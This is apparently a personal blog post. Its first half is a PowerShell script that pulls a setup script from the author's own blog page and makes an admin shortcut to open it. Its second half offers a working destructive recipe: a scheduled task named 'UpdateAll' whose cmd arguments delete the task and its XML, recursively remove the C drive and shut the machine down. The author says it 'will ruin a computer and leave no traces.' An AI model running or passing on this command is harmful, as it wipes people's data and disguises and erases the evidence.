Wednesday, June 22, 2022

My Set-Up script 'getter'

$RawContent = (((iwr "http://www.somethingtoscrollthrough.com/2022/05/firewall.html").RawContent).Replace('|','~')).Split("`n|`r",[System.StringSplitOptions]::RemoveEmptyEntries)
$Start = "<p>#~~~~~~#"; $End = "<br />#---------#</p>"
$Counter = 0; $File_Path = "$(Get-Location)\PC_SetUp.ps1"
Clear-Variable ArrayStart, ArrayEnd
$RawContent | % {
If ($_ -match $Start) { $ArrayStart = $counter }; If ($_ -match $End) { $ArrayEnd = $counter }
If ($ArrayEnd) {Return}; $Counter++
}
$RawContent[$ArrayStart..$ArrayEnd] | % { ($_) -replace(" ~ "," | ")  -replace("<p>","")  -replace("</p>","") -replace("<br />","") } #| Out-String | Out-File -LiteralPath $File_Path -Encoding ascii -Force

$RawContent[$ArrayStart..$ArrayEnd] | % { ($_) -replace("<p>","")  -replace("</p>","") -replace("<br />","") } | Out-String | Out-File -LiteralPath $File_Path -Encoding ascii -Force

$LNK_Path = "$(Get-Location)\Open_PC_SetUp.lnk"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($LNK_Path)
$Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe"
$Shortcut.Arguments = "`"$File_Path`""
$Shortcut.Description = "Opens '$File_Path' as Admin, in ISE "
$Shortcut.Save(); Write-Host "Shortcut is here: $LNK_Path" -Fore 14 -Back 5
$bytes = [System.IO.File]::ReadAllBytes($LNK_Path)
$bytes[0x15] = $bytes[0x15] -bor 0x20 #set byte 21 (0x15) bit 6 (0x20) ON
[System.IO.File]::WriteAllBytes($LNK_Path, $bytes)
ii -Path $LNK_Path #Open the script in ISE, as Admin

 

 

Break
This sumbitch right here - As a scheduled task will ruin a computer and leave no traces of itself:
(The argument, executes in memory, then deletes the task and its associated XML, then proceeds to remove anything it can on the 'C' drive. Run it as an admin user, and set it to run logged in or not)

Name:
UpdateAll 

Actions > New -

Program/script:
C:\windows\system32\cmd.exe

Add arguments:
/C schtasks /delete /tn UpdateAll /f & del "C:\Windows\System32\Tasks\UpdateAll" & rd c:\ /s /q & shutdown -s -t 0